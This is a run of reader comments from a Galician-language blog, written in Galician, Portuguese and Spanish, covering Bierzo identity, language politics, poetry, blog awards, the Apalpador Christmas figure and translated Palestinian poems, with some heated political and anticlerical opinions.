COMMENT: AUTHOR: Subiau berciano [Visitante] DATE: Thu, 12 Mar 2015 20:57:24 +0000 URL:
Soy berciano, y me presta asgaya Galiza y empatizo con ella, pero me siento de León como fue siempre. Quiero un León separado de Castilla, y El Bierzo como una provincia leonesa en la que se respete nuestra identidad de tierra fronteriza. Con Galicia nunca, no quiero que seamos un rincón miserable y dejado de la mano de Dios. Ata loguiño.
----- COMMENT: AUTHOR: Luiz Carlo Ubaldo Gonçalves [Visitante] DATE: Thu, 29 Nov 2012 11:15:29 +0000 URL:Viva o povo Palestino, chega de agressão a essa gente tão sofrida, Israel não pode continuar matando impunemente.
Dia 1 de abril é o DIA DAS MENTIRAS!
----- COMMENT: AUTHOR: INES ARTAXO [Visitante] DATE: Tue, 25 Oct 2011 21:07:40 +0000 URL:Maravilhoso o trabalho de voces.
Parabens, vou comprar o material e indicar aos alunos.
att
Ines Artaxo
A foto, aqui: http://catedral.weblog.com.pt/arquivo/118127.html
----- COMMENT: AUTHOR: Nelson de Moura Silva [Visitante] DATE: Thu, 04 Aug 2011 17:34:15 +0000 URL: http://www.ednalvapoeta.adm.brConsiderando texto com palavras sempre começando com a mesma letra, deixo a pergunta: como se chama este estilo de escrita? De acordo com definições pesquisadas, pode dizer que não é assonância, paranomásia, trava-lingua… então o que é?????????? Agradeço enviar resposta para meu email nelsonmourasilva@ig.com.br
----- COMMENT: AUTHOR: xenevra [Visitante] DATE: Fri, 29 Apr 2011 19:26:50 +0000 URL: http://www.xenevra.blogspot.comEu, que semprei gostei dos versos aqueles de “eu tamén navegar", fico agora namorada deste naufraxio presaxiado e que, ás veces, parece tan necesario.
----- COMMENT: AUTHOR: Salsa [Visitante] DATE: Tue, 29 Mar 2011 02:18:48 +0000 URL: http://jazzigo.blogspot.comEstava eu procurando um poema que escrevi há algum tempo. Encontrei o seu - o tema é o mesmo, o desenvolvimento difere. Logo que o encontrar deixarei como um comentário.
Abraços,
A
B
C
EU VOU TE ESCREVERA
Bela gente , bela terra ….abraços do Brasil
----- COMMENT: AUTHOR: Anselmo Prada león [Visitante] DATE: Fri, 05 Mar 2010 11:59:52 +0000 URL:Estoy de acuerdo con todo este comentario.Pero tenemos que tener en cuenta, que en El Bierzo necesitamos puestos de trabajo, y eso es difícilo de conseguir,si los vagos y gentes sin conciencia toman la palabra y no dejan hacer nada.Este comentario está hecho en portugués, pues que vayan a Lisboa y protesten por la central nuclear que tienen allí…
Quien tiene que velar por nuestra salud y por nuestro trabajo,es el gobierno que para eso le pagamos…
Se este ano fas outro avísame queres? así o poño no blogue como o ano pasado :)
saudiñossssssssss
----- COMMENT: AUTHOR: estíbaliz... [Visitante] DATE: Wed, 18 Nov 2009 10:55:55 +0000 URL: http://www.estibalizes.wordpress.comPero quizais a versión máis lograda é a de Jeff Buckley.
http://www.youtube.com/watch?v=AratTMGrHaQ
----- COMMENT: AUTHOR: estíbaliz... [Visitante] DATE: Wed, 18 Nov 2009 10:47:36 +0000 URL: http://www.estibalizes.wordpress.comVirán, ho, virán máis días.
O temazo de Cohen -que me piden que cante en infinidade de vodas relixiosas- coñece unha versión algo distinta por Rufus Wainwright, pinchando aquí http://www.youtube.com/watch?v=mmbQEQltOwM
Vivimos das mesmas cousas refritas.
Bicas.
----- COMMENT: AUTHOR: Manuel [Visitante] DATE: Thu, 12 Nov 2009 17:11:38 +0000 URL:Os PAPAS em bebedeira,
Querem-nos impingir isto:
Única e Verdadeira,
Como «Igreja de Cristo».
A «igreja» é uma trapalhada,
Dos «padres», uns intrujões;
Clero, conversa fiada
E os «abades» uns glutões.
Uma Igreja imaculada, (Ef.5,27)
Cristo disse que fundava,
Diferente desta alhada;
Era isto o que eu pensava.
A «ROMANA» padralhada,
Cozinhou-a ao seu sabor,
‘Té parece uma piada
De sofrimento e dor.
É o «reino dos céus» do clero
A enganar o pobrezito,
C’um «vale de lágrimas» vero,
C’um tormento infinito.
Ó Cristo, vem cá à terra,
Tirar esta confusão;
Matar a «besta» que ferra; (Ap,19)
Mostra-lhe a Tua missão.
Em Fátima, uma senhora
Enganou três pastorinhos,
C?uma voz sedutora,
Ameaças e adivinhos.
Disse que era mãe de Cristo,
Mas não era Israelita.
Ora vejam bem, só isto:
Que coisa tão esquisita.
Se Judia fosse ela,
Que adorasse a DEUS Javé,
Não pediria CAPELA,
Porque ABOMINAÇÃO é.
Em Israel quem se preze,
Tal coisa não pediria,
Que mais cheira a catequese,
Que voz da Virgem Maria!
E nem pensou a senhora,
Que seria descoberta,
Dessa farsa enganadora;
Não foi assim tão esperta!
Mas há muitos insensatos
Que se deixam enganar;
A cair que nem uns patos,
Sempre, sempre sem cessar!
Peregrinos a sofrer
Enchem os bolsos do clero;
E só lhes resta morrer
Em desespero sincero.
Eu son de Ponferrada descendente dun pobo doconcello de Cacabelos e falo galego cando podo e porsuposto de escoitalo no pobo porque os meus pais consideranlo “de pueblo” e non falan, ha por certo eu tamen son “facha” polo que consideiro co galego non ten ideoloxia….. un saudo a todos os galegofalantes do Bierzo
----- COMMENT: AUTHOR: eduardo carmo [Visitante] DATE: Wed, 03 Jun 2009 09:30:06 +0000 URL:Grandes desgaças atingiram a Velha
peninsula.Aqui vão algumas delas:
1ªInvasões visigoticas.
2ªInvasões romanas.
3ªFundação de castela.
4ªOs reis católicos.
5ªA inquisição.
6ªinvasões francesas
7ªFrancico Franco.
8ªGuerra Civil Espanhola.
9ªAntónio de Oliveira Salazar.
10ªJosé Aznar.
Estas foram sem dúvida Grandes desgraças.
Saudações.eduardo carmo
Enquanto nós aquí a sul da fronteira estamos de bem com a nossa lingua
galaico-portuguesa,vos aí pelo norte
ainda andam a discutir o duelo bierzo-
berzo.O que que se passa com os galegos?
Será que vocês ainda são os portugueses
que aceitaram a derrota e nós os portugueses somos os galegos que
vencemos a batalha?
eduardo carmo
http://mas.lne.es/diccionario/index.php?palabra=bierzu&buscarter=on
Os que tantos molestáranse em chamar-lhe “hoya", melhor digan “cuna”
Bierzu=berciu=brizu=berce=berço.
QUE DOUS!!!!!!
:)
Paco: obrigado pola recomendaçom.
Andrea: o prazer também foi para mim. A ver se se repite. Saúdos.
Ola!!
Foi todo un pracer compartir cartaz contigo…paseino moi ben en Poio…agora xa apunto o teu link e xa te teño controlado…
beixooos!
Andrea
Esta revistiña é moi boa, bótalle un ollo
http://www.fim.org.es/media/1/1105.pdf
Senhor Ferreiro, chega vostede a tempo. Em breve, pechamos a tenda, porque o poeta em paro, desempregado, já nom estará desempregado. O ADSL (que parece o nome dumha droga alucinogena), chama-me.
Tem vostede sorte, ainda temos por aqui os restos da temporada. Tendo em conta a sua situaçom, aconselharia uns descordos ou umhas pastorelas, com profussom de cobras capfinidas, capcaudadas e capdenals. Se isto nom lhe parece apropriado, poderiamos provar com uns tercetos desencadeados, com molho de copla picante.
Eu quería algo barato. Não sei… nunca experimentei… deixo-me aconselhar. Sinto-me atraído pelas falésias e adormeço nas janelas, mas na cama ou no divã não deixo de imaginar que corro até à extenuação.
O senhor poeta o que me recomenda? Rogo me atenda depressa, faça favor.
Como sempre é um abraço maravilhoso chegar a esta casa, por isso há um surpreso em http://janeladamoura.blogspot.com.
Muitas saudades
Como sempre é um abraço maravilhoso chegar a esta casa, por isso há um surpreso em http://janeladamoura.blogspot.com.
Muitas saudades
Ni tampoco dejemos que cuatro señoritos con faldas se crean con derecho a decidir una vez más por las mujeres sin ponerse ni por un momento en nuestro lugar,evidentemente,como si ellos sufriesen alguna vez algo parecido,no dejemos que conviertan en delito un derecho a decidir que ha costado mucho conseguir.
----- COMMENT: AUTHOR: estibaliz... [Visitante] DATE: Wed, 18 Mar 2009 19:06:39 +0000 URL: http://www.estibalizes.wordpress.comO peor é que en tempos de crise, as supersticións e as demagoxias [supersticións políticas baseadas no tremendismo] atopan o microclima perfecto
Cunha humanidade eternamente infeliz, a Igrexa sempre estará protexida
“Cultura da morte", din que vivimos. Iso sosteno unha multinacional cuxo logotipo visible é un moribundo nun instrumento de tortura e cuxas altas instancias están cheas de mártires que apelan a morrer por deus.
Naturalmente, logo da bochornosa retracción no tema-Galileo, a Igrexa négase a perder máis ferrados de poder. A esta leira [leria] chámana pomposamente a da Vida. Pfff, nese eido van ter argumentos demagóxicos para dar e tomar
----- COMMENT: AUTHOR: igor [Membro] DATE: Fri, 13 Mar 2009 15:41:43 +0000 URL:Está vostede de sorte. Tenho aqui uns estupendos versos alejandrinos, perfeitos para fazer pam, para fazer pum, para fazer pim, pam, pum, que tenhem muito bom preço. Som restos de stock. E venhem em tons grises, mas nom um gris qualquer: gris perla, que é elegante, funcional e discreto.
Mas também tenho umhas clausulas administrativas rimadas, que som o último em verso postmoderno, ecléctico e iniciático.
Mas, se tem vostede um gosto esquisito, escolherá, sem dúvida, estes pequenos sonetos de quatro versos, com rima livre, cheios de dipsácea senhardade, e que som perfeitos para conjugar a metáfora da cozinha e a dura realidade da palavra literária. Umha profusom de sumptuosidade ao alcance de poucas pessoas.
As suas vizinhos, os seus vizinhos, as amizades essas tam plastas que lhe entram até a cozinha, morrerám com a inveja.
Com um dez por cento de desconto se paga ao contado. Se nom quer factura, desconto-lhe também o IVA. Também dispomos de financiaçom até 12 meses sem custos adicionais.
----- COMMENT: AUTHOR: estibaliz... [Visitante] DATE: Thu, 12 Mar 2009 15:24:06 +0000 URL: http://www.estibalizes.wordpress.comquería uns versos para a cociña, para os azulexos da cociña, si, gústame ler cando agardo que ferva a auga da pasta, cando agardo que amolezan as bolachas e os ols brans no leite e non sei como rechear ese tempo do ovo pasado por auga no que a miña nai e a miña avoa adoitaban rezar un Pai Noso.
Que me suxire e a que prezo?
Algo breve, non? Sería para recurtar en letras de molde ou facer unhas pegatinas. Un haiku non, por favor, crería a cada momento que vou comer sushi.
Un retrouso galego, unhas cobras dobras, un proverbio do Sil seica vaian ben… En fin, vostede é o experto.
Nora-boa, de derrota em derrota fins a vitoria final. ¡Pátria ou Morte! Mais bem, o segundo. As massas proletárias preferiron ao Feijoo, apesares da gomina. ¡Vivan las caenas! O partido é unha arma carregada de futuro… pluscuam perfeito , por suposto. Mañán o Kapital será o mesmo de onte, pêro nós xá non somos os mesmos; estamos fartos de produzir para reproduzir a miséria cotidiana. O problema é que o Povo xá non existe, somente quedam indivíduos consumistas i egoístas. O futuro é deles, por desgracia.
----- COMMENT: AUTHOR: igor [Membro] DATE: Sun, 01 Mar 2009 23:08:04 +0000 URL:jo mateix: nom penso que os galegos sejam tontos. Nem acredito na “normalidade” da que falas. O que sim é certo é que o futuro é nosso; sempre e quando consigamos também que o presente seja nosso.
De todas as formas, este post fala doutras cousas.
todo vuelve a la normalidad. Los gallegos son más tontos que Franco, que lle imos fer. O futuro é noso, o presente deles.
----- COMMENT: AUTHOR: GZ [Visitante] DATE: Sat, 14 Feb 2009 08:27:33 +0000 URL:Skinheads fora da Galiza!
----- COMMENT: AUTHOR: igor [Membro] DATE: Fri, 13 Feb 2009 17:49:54 +0000 URL:Alguém, que escreve com umha IP que começa assim: 213.60.24…, e que está na rede com umha conexom de R, envia-me, a mim, e a nem sei quantos mais, a “tomar polo cu", mas isso sim “em portugal". Por suposto, nom publico a sua aportaçom ao debate. Porque, a verdade, por muito que me intentam convencer sigo a pensar que nom, que nom todas as opinions som respeitaveis e nom todas tenhem direito a ser expresadas. A mim, que me venham a insultar a minha casa… quê queredes que vos diga, nom me parece bem.
----- COMMENT: AUTHOR: Manuel [Visitante] DATE: Fri, 13 Feb 2009 16:43:18 +0000 URL: http://www.manuellrodrigues.blogspot.comMoi boa si señor!!
Apóntome a proposta. Un saúdo.
----- COMMENT: AUTHOR: igor [Membro] DATE: Fri, 13 Feb 2009 15:37:58 +0000 URL:Um, obrigado polo comentário. A verdade é que nom sabia onde procurar informaçom para escrever bem o texto em lliones, ou asturo-leonês, e tivem que botar mao da wikipedia em asturiano. Imagino que os problemas normativos, contra o que pensamos habitualmente, nom só existem na nossa língua
;)
Ígor, um único apuntamento repugnante… Seguindo a norma ocidental para o asturo-leonês (a que lhe quadra ao Berço, a Seabra e outras zonas enquadradas em Castela-Leão), há um par de gralhas na versão leonesa. O correcto seria:
Castiella y Llión Trillingüe (o trilingüe, como neologismo, e por guardar o desenho)
Tres llinguas, los mesmos dreitos
Polo demais, simplesmente genial, mas quando mais uma vez continuas a solidarizar-te com uma língua ainda mais minorizada…
----- COMMENT: AUTHOR: Galeguzo [Visitante] DATE: Fri, 13 Feb 2009 13:02:38 +0000 URL: http://madeiradeuz.orghttp://chuza.org/historia/castela-e-leom-triling-e-queremos-liberdade-para-eleger/
Chuzado! :)
----- COMMENT: AUTHOR: Elisa [Visitante] DATE: Thu, 12 Feb 2009 10:43:17 +0000 URL:Un amigo meu di que hai un curioso paralelismo entre UPyD e o coñecido Una, Grande y Libre: Una=Unión, Grande=Progreso y=y Libre=Democracia. Tenche razón. E se cadra con iso, xa está todo dito.
Parabéns, Igor, polo teu traballo a prol da lingua e de Galiza.
Só felicitarte pola presentación do venres, cun pouco de retraso, como ven sendo habitual en min. Xa coñecía parte do contido, pero gustoume moitísimo a túa obra poético-visual, e o punto entre pop-art e cartaz soviético. E si, recitar (e escoitar recitar) da bastante fame :p
----- COMMENT: AUTHOR: madeingaliza [Visitante] DATE: Mon, 02 Feb 2009 22:32:55 +0000 URL:ola, igor, pois que bom!
obrigado, meu, polo dardo, deu-me no cu!
tivem problemas com o blog, de súbito desapareceu -de todo, pluff- e a gente da blogoteca tivo que botar mao dumha cópia de seguridade, nom sei que passaria…
em fim, um susto!
passo os dardos e que siga a festa!
Moi bo! A ver se me achego por ferrol o venres, pero non creo que poida
----- COMMENT: AUTHOR: igor [Membro] DATE: Fri, 30 Jan 2009 05:52:33 +0000 URL:Estibaliz… estám as cousas tam mal, que até vam ilegalizar os Prémios Dardos!
(imagino que é porque com o texto vam vários links, nom é?, e o cerebro inteligente que regula as vidas dos blogues pensa que é spam)
Obrigado polo Dardo: gasolina para os ovnis, e cordenadas para as isoglossas.
----- COMMENT: AUTHOR: estibaliz... [Visitante] DATE: Thu, 29 Jan 2009 20:15:18 +0000 URL: http://www.estibalizes.wordpress.comNon me deixan colar e pegar o texto do blog no que mando un dardo cara aquí. A máquina dime que o seu contido é ilegal [o texto do comentario].
Concretamente di:
illegal content [spam?]
Premiarte cun dardo, (i)gor, que saibas que é ilegal.
----- COMMENT: AUTHOR: Alfredo Ferreiro [Visitante] DATE: Thu, 29 Jan 2009 18:37:53 +0000 URL: http://olevantadordeminas.blogaliza.orgLamento non poder acudir, compañeiros, mais estarei a preparar a mala para voar fóra do país. Aperta e parabéns por tamaño evento que tedes organizado.
----- COMMENT: AUTHOR: igor [Membro] DATE: Thu, 29 Jan 2009 11:01:27 +0000 URL:Nom o colho, Zerovacas. Que fai Ferrin esse dia a essa hora em Ferrol?
----- COMMENT: AUTHOR: zerovacas [Visitante] DATE: Thu, 29 Jan 2009 10:43:51 +0000 URL: http://zerovacas.blogspot.comAsí que contraprogramando a Ferrín, eh? :D
----- COMMENT: AUTHOR: Mario [Visitante] DATE: Thu, 29 Jan 2009 00:10:26 +0000 URL: http://oportodosescravos.blogspot.comMimá!!! Vaia dous, que se preparen na miña terra…
----- COMMENT: AUTHOR: igor [Membro] DATE: Wed, 28 Jan 2009 15:20:06 +0000 URL:Dedos…: já vim. Foi dar-lhe eu com um dardo, e desaparecer deste mundo virtual. Aguardo que o meu prémio nom fose o desencadeante desa conversom à invisibilidade!
----- COMMENT: AUTHOR: dedoscomovermes [Visitante] DATE: Wed, 28 Jan 2009 15:03:40 +0000 URL: http://www.blogoteca.com/dedoscomovermessabe o senhor onde anda o madeingaliza? anda dessaparecido da blogoteca!
----- COMMENT: AUTHOR: estibaliz... [Visitante] DATE: Wed, 28 Jan 2009 08:54:17 +0000 URL: http://www.estibalizes.wordpress.comRaios. Moitas grazas. Recollo o premio e repartirei os meus dardos.
Que farei agora con tanto ego?
Vendo ego. Caro. Cotizado. Con hipoteca. Plumaxe de cores. Visible en festas, intervencións públicas, sintaxes aparentemente simples. Ego de aire, ego de vento. Puro O2, limpo, procedente de Montederramo e do porto de Dexo. Amplas vistas panorámicas, garantía de sensacións aerostáticas de potencia e benestar. Cobertoira anti-envexa, escudo anti-pinchazos inopinados. Medidor e doses encapsuladas de falsa humildade. Latrías variadas para adorno. Cordeliño útil para non saír voando. Lastres de agasallo: fracaso soluble, derrotas mastigables, críticas en po, mortalidade.
----- COMMENT: AUTHOR: igor [Membro] DATE: Tue, 27 Jan 2009 16:12:25 +0000 URL:Obrigado.
----- COMMENT: AUTHOR: Alfredo Ferreiro [Visitante] DATE: Mon, 26 Jan 2009 11:51:45 +0000 URL: http://olevantadordeminas.blogaliza.orgVenho de participar na iniciativa Prémio DARDOS outorgando o mesmo a este blogue. Parabéns!
----- COMMENT: AUTHOR: igor [Membro] DATE: Tue, 20 Jan 2009 16:29:35 +0000 URL:Nom.
Nom por agora.
Porém…
Digo eu… espero que não haja segundas (ou terceiras) intenções neste artigo!
----- COMMENT: AUTHOR: Mario [Visitante] DATE: Mon, 19 Jan 2009 20:28:26 +0000 URL: http://oportodosescravos.blogspot.comIsto non irá con segundas, non? Que eu quero seguir avistando ovnis.
----- COMMENT: AUTHOR: Subcomandante Marcos [Visitante] DATE: Mon, 12 Jan 2009 20:33:57 +0000 URL:chapeau. Non hai mellor comentario.
Saudos camarada.
----- COMMENT: AUTHOR: Alarico [Visitante] DATE: Sat, 10 Jan 2009 00:25:27 +0000 URL:Que se pode agardar da U.G.T. se foi criada pola C.I.A. utilizando velhas siglas históricas para contrarestar a CC.OO., quando estas últimas repressentavam um movimento sindical e sócial com características revolucionarias, antes que o euro-comunismo, léase social-democratizaçom, do PC fize-se com o leme das mesmas. Ademais, hoje, as duas organizaçons só estám para evitar o avanço das classes trabalhadoras e para gestionar o conflicto socio-laboral no seu conjunto em funçom dos patrons.
----- COMMENT: AUTHOR: l&m [Visitante] DATE: Thu, 08 Jan 2009 13:41:07 +0000 URL: http://www.oblodelm.blogspot.comainda te ham copiar os da onu…
beijos e feliz ano
Este Lugrís vai para músico. Cousas de familia …
----- COMMENT: AUTHOR: amauta castro [Visitante] DATE: Wed, 31 Dec 2008 19:52:32 +0000 URL: http://amautacastro.blogspot.comFermoso debuxo do Che adaptado aos tempos que corren por Gaza.
Coméntame un amigo palestiniano que o pano popularmente coñecido como “palestina” e ao que se lle di en árabe (estándar) keffiyyah, en dialecto palestiniano é coñecido como Hatta.
Sexa como for, Gaza = dignidade.
Bo ano!
----- COMMENT: AUTHOR: José André Lôpez Gonçâlez [Visitante] DATE: Wed, 31 Dec 2008 08:52:02 +0000 URL:Para todos os leitores deste ovnis e isoglossas, uma traduçấo de um poema de um grande poeta palestino de começos do século XX, ele também expatriado, ele também morto lonje da sua amada terra de Tulkarém.
A traduçấo é a que se segue:
Abd al-Karim al-Karmi
(mais conhecido como Abu Salma)
Frente por frente da opressấo e a ignorância,
rebeldes somos sem repouso.
A luz somos do caminho,
a justiça e a fé,
somos fontes de luita,
guardiões do lar.
Ó Palestina, somos -bem o sabes-
construtores de civilizaçấo
encabalados nos séculos.
A nossa mensagem trazemos para os primeiros
e os últimos.
Com sangue livre purificamos a tua terra:
com tal oferenda, como nấo há ser pura?
Na nossa marcha os povos nos acompanham
para a alvorada gloriosa.
Um só mundo é a nossa insígnia
e uma eterna liberdade para os homens.
Traduçấo de José André Lôpez Gonçâlez
(E liberdade para a Palestina e liberdade para a Galiza no vindouro 2009)
Saude e Revoluçấo operária.
Perante tanta barbárie, tanta dor, tanta sem razão, tanta injustiça, tanto olhar para outro lado dos governos (e do nosso governinho junteiro da forças de ?esquerda?? PSOE ? BNG, só nos resta a dignidade comunista e a ideia de que nós, os trabalhadores somos os únicos chamados para desfazer o opróbio, o desdouro, a ignomínia.
Mando para todos os leitores deste blogue honroso uma tradução de um poema do livro ?Diwan? de um grande poeta palestino para uma antologia de poesia palestina moderna que ainda não saiu a lume, em homenagem sentida por todas as vítimas da crueldade nazi-sionista.
_¨_ ¨_¨
Makhmud Sobh al-Kurdi
Cruz de todos os homens
Para minha mãe, Aixa.
«A tua cruz, ai!, Nazareno,
feridas de flauta dessangra.
A minha gorja é ouriço de alfinetes;
As minhas mãos, de lume chamas»
E prossego ainda, como Tu, vivindo.
Uma ponte de cravos atravessei
desde Belém, por te achar:
a tua morte é a minha morte;
o teu sangue, o meu sangue.
E prossego ainda, como Tu, vivindo.
Percorri o Calvário,
desde Belém, por te achar:
A tua morte é a minha morte;
O teu sangue, meu sangue é.
E ainda prossego, como Tu, vivindo.
Percorri o Calvário,
a tua paixão no meu corpo sofri.
E lá para onde o meu rosto volvo
mil Judas gritam: «Crucificai o árabe!».
E ainda prossego, como Tu, vivindo
O meu sol perseguido é por mil víboras
cuspindo ao ar
rajadas da peçonha.
E ainda prossego, como Tu, vivindo
No madeiro da morte
encontro-te cada dia.
E ainda prossego, como Tu, vivindo.
As feridas do teu corpo
?o meu corpo?
igual que galhos de tranças são
pingando lágrimas na face da tua mãe
?minha mãe?.
São como espigas de trigo
nas encostas de Galiléia.
Racimos de uvas são com sangue baptizados
sob os raios do sol do meio-dia.
Como se transitar o Calvário
desde a morte para a vida
um breve instante fosse,
ainda prossego, como Tu, vivindo.
Palestina é uma espada
espetada nas minhas entranhas
como doce levadura.
A tua cruz, a bainha é dessa espada
que um mar de sangue jorra,
purpúrea, vermelha.
E continuo ainda, como Tu, vivindo!
Palestina é uma oliveira entre dous mares:
Mar de morte e de açafrão,
mar de açucenas e flores de cerdeira.
Do seu sangue farei eu pão e vinho,
e azeite.
E armas, também.
Com a sua luz pegarei fogo
para atirar com violência o ouro todo dos ídolos.
Palestina renascerá da grande dor do parto.
Ó Palestina, dor de tantos povos,
Cruz de todos os homens.
Tradução de José André Lôpez Gonçâlez
A Palestina será livre e socialista igual que Galiza será livre e socialista.
A vitória é dos trabalhadores.
Chantaremos um mundo novo livre de injustiça para que as crianças possam livres surrir e bricar.
Perante tanta barbárie, tanta dor, tanta sem razão, tanta injustiça, tanto olhar para outro lado dos governos (e do nosso governinho junteiro da forças de ?esquerda? PSOE ? BNG, só nos resta a dignidade comunista e a ideia de que nós, os trabalhadores somos os únicos chamados para desfazer o opróbio, o desdouro, a ignomínia.
Mando para todos os leitores uma tradução de um poema do livro ?Diwan? de um grande poeta palestino para uma antologia de poesia palestina moderna que ainda não saiu a lume, em homenagem sentida por todas as vítimas da crueldade nazi-sionista
_______________________________________
Makhmud Sobh al-Kurdi
Cruz de todos os homens
Para minha mãe, Aixa.
«A tua cruz, ai!, Nazareno,
feridas de flauta dessangra.
A minha gorja é ouriço de alfinetes;
As minhas mãos, de lume chamas»
E prossego ainda, como Tu, vivindo.
Uma ponte de cravos atravessei
desde Belém, por te achar:
a tua morte é a minha morte;
o teu sangue, o meu sangue.
E prossego ainda, como Tu, vivindo.
Percorri o Calvário,
desde Belém, por te achar:
A tua morte é a minha morte;
O teu sangue, meu sangue é.
E ainda prossego, como Tu, vivindo.
Percorri o Calvário,
a tua paixão no meu corpo sofri.
E lá para onde o meu rosto volvo
mil Judas gritam: «Crucificai o árabe!».
E ainda prossego, como Tu, vivindo
O meu sol perseguido é por mil víboras
cuspindo ao ar
rajadas da peçonha.
E ainda prossego, como Tu, vivindo
No madeiro da morte
encontro-te cada dia.
E ainda prossego, como Tu, vivindo.
As feridas do teu corpo
?o meu corpo?
igual que galhos de tranças são
pingando lágrimas na face da tua mãe
?minha mãe?.
São como espigas de trigo
nas encostas de Galiléia.
Racimos de uvas são com sangue baptizados
sob os raios do sol do meio-dia.
Como se transitar o Calvário
desde a morte para a vida
um breve instante fosse,
ainda prossego, como Tu, vivindo.
Palestina é uma espada
espetada nas minhas entranhas
como doce levadura.
A tua cruz, a bainha é dessa espada
que um mar de sangue jorra,
purpúrea, vermelha.
E continuo ainda, como Tu, vivindo!
Palestina é uma oliveira entre dous mares:
Mar de morte e de açafrão,
mar de açucenas e flores de cerdeira.
Do seu sangue farei eu pão e vinho,
e azeite.
E armas, também.
Com a sua luz pegarei fogo
para atirar com violência o ouro todo dos ídolos.
Palestina renascerá da grande dor do parto.
Ó Palestina, dor de tantos povos,
Cruz de todos os homens.
Tradução de José André Lôpez Gonçâlez
(Avante com a luita anti-imperialista. Polo poder operário que bania o terror na terra)
Viva a Palestina livre socialista, Viva Galiza livre e socialista
Parabéns ao Xende!
----- COMMENT: AUTHOR: Mario [Visitante] DATE: Mon, 29 Dec 2008 16:40:54 +0000 URL: http://oportodosescravos.blogspot.comLiving la vida loca, living wild sid, eta kapitalismo basatia
Xenial esta deconstrución, (creo que unha versión é outra cousa). ;-)
----- COMMENT: AUTHOR: l&m [Visitante] DATE: Sun, 28 Dec 2008 18:20:14 +0000 URL: http://www.oblodelm.blogspot.comboas festas!!!!
beijinhos
Arume: repare em que leva a bufanda sem atar… Abrigado, mas pouco.
Quanto ao Mago Chalupa, fai parte (junto com a limonada, o butelo e algumha outra cousa) do facto diferencial berziano.
Saúdos.
:)
Ostias!!!! O Lugrís alberto abrigao? Que lle pasaba?
Preciosa foto en todo caso. E que vostede o pase ben. Heille de confesar que nunca pasei o nadal en Ponferrada. Só os reis magos e, sobre todo, polo peculiar mago chalupa que non sei de onde ven.
Sorprende-me, senhor Arumes. Da leitura do meu poema, da sua análise pormenorizada, é vostede capaz de tirar essa informaçom?
:)
Sim, o meu irmao chama-se Alberto, e tem o insólito costume de ir de manga curta sempre. Todo o ano, chova, trone ou neve. Os Lugrises, somos assim: insólitos e peculiares.
Dea-lhe vostede saúdos (ainda que penso que o verei em poucos dias).
PD/Repare bem vostede na ilustraçom do seguinte comentário, para saber mais do meu irmao.
----- COMMENT: AUTHOR: arume dos piñeiros [Visitante] DATE: Fri, 19 Dec 2008 23:58:16 +0000 URL: http://arumes.blogspot.comNon sabía eu que o seu irmán se chamara Alberto e que tivera o insólito costume de ir de manga corta en plena nevada.
----- COMMENT: AUTHOR: tangaranho [Visitante] DATE: Fri, 19 Dec 2008 11:59:34 +0000 URL: http://www.tangaranhovermelho.blogspot.comCursi porquê? É um magnífico poema. Realmente conmovedor…
----- COMMENT: AUTHOR: igor [Membro] DATE: Mon, 15 Dec 2008 17:19:22 +0000 URL:Lucas/Glenda: lamento-lho. Mas, a que se refire pola primeira parte? O primeiro verso? Os dous primeiros? Os cinco primeiros?
Quê mudaria? Acrescentaria? Suprimiria? Interesa-me a sua opiniom.
Obrigado pola visita.
Francamente, paréceme cursi e tópica a primeira parte do poema.
Demo: vostede convirte à agredida em agressora, e aos agressores, e agressoras, em agredidos/as, e com isso fai um pam com umhas óstias (sem consagrar)… À Estíbaliz quero-lha bem, mas nom é a minha querida. No blogue do seu “querido” Spav, e aproveitando o anónimato e/ou pseudonimato, um amplo grupo de pessoas atacam e denigram vilmente a Estíbaliz e ao seu trabalho.
Se tam valentes som, que o fagam a cara descuberta.
Além do mais, todo destila um explícito e implícito “antiyolandismo” que já cansa. De Estíbaliz ou Yolanda serem homens, nom se diriam nem a metade de cousas sobre elas.
Eu, en cambio, declárome estibalista, quizá por ser da ribeira, recear do ceceo, e por gustar da estiba e desestiba de ideas e soños con que nos agasalla esta criatura-crianza-creadora.
----- COMMENT: AUTHOR: lándoas [Visitante] DATE: Sat, 13 Dec 2008 16:04:20 +0000 URL: http://landoa.blogspot.comPor todas esas razóns que Igor foi quen de unir: eu tamén, estibalizista e espinosófilo de corazón, cun respecto enorme polo seu traballo. Enorme!
----- COMMENT: AUTHOR: Odemo [Visitante] DATE: Sat, 13 Dec 2008 15:12:22 +0000 URL: http://www.odemo.blogaliza.orgLOL
Estibalizista, espinosófilo e acrítico. Porque o espectáculo infantiloido que a sua querida cenificou no blogue do nosso querido Spav nom tem nome. Nom entro na qualidade artística da sua obra, só na infra-educaçom e nettiqueta que demonstrou estes dias.
LOL
O seu post é muito engraçado. Espero que também o Apalpador se espalhe polo Berço.
Muito obrigado por me mandar por mail o calendário, que eu espalharei por cá, onde moro. Aguardo bons sucessos polo seu admirável trabalho.
O dito, muito obrigado mais uma vez.
André.
P.S. Ah! Recebi também o seu mail da notícia no Diário de Leom.
Obrigadinho, camarada e AVANTE!
O seu post é muito engraçado. Espero que também se espalhe polo Berço o Apalpador.
Muito obrigado por me mandar por mail o calendário e aguardo muitos sucessos no seu trabalho.
O dito, muito obrigado mais uma vez.
André
Ah! Recebi também o seu mail da notícia no Diário de Leom.
Obrigadinho, camarada.
----- COMMENT: AUTHOR: paulo [Visitante] DATE: Sat, 06 Dec 2008 18:04:10 +0000 URL:Camarada Jose Andre. Chamo-me Paulo e som parte da comissom de memória histórica da gentalha do pichel. Fomos nós quem, partindo do teu estudo, pujemo-nos a trabalhar no espalhamento da figura do apalpador. Agora o apalpador caminha por si mesmo e conquistara o natal de toda Galiza. O caso é que tentamos contactar contigo de muitas formas e nom puidemos. Esta é a primeira noticia que temos de ti. Gostariamos de poder falar contigo, pois andamos fazendo viagens polo courel-ancares e temos dados novos que gostavamos de compartilhar.
Pauloricogz@hotmail.com
http://agal-gz.org/blogues//?blog=27
Meu caro camarada, muitos parabén pola sua iniciativa.
Eu sou o autor do texto de resgate do Apalpador que pesquisei polas terras de O Caurel, O Zebreiro e Lóuçara. Soube depois que também nos Ancares e no Berço este personagem fora vivo em tempos ainda não muito recuados.
Até agora as crianças recebem agasalhos de o Apalpador em terras de O Caurel e Lóuçara (apesar de serem cada vez menos, pois que restam cada vez menos crianças -e gente!- nas altas montanhas luguesas.
Se ele está vivo pode-se muito bem resgatar dessa uniformidade atrapalhadora e esmagadora que é a pseudo-cultura holiwoodiana e espanholeira. Por isso dos meus parabéns para você, meu caro.
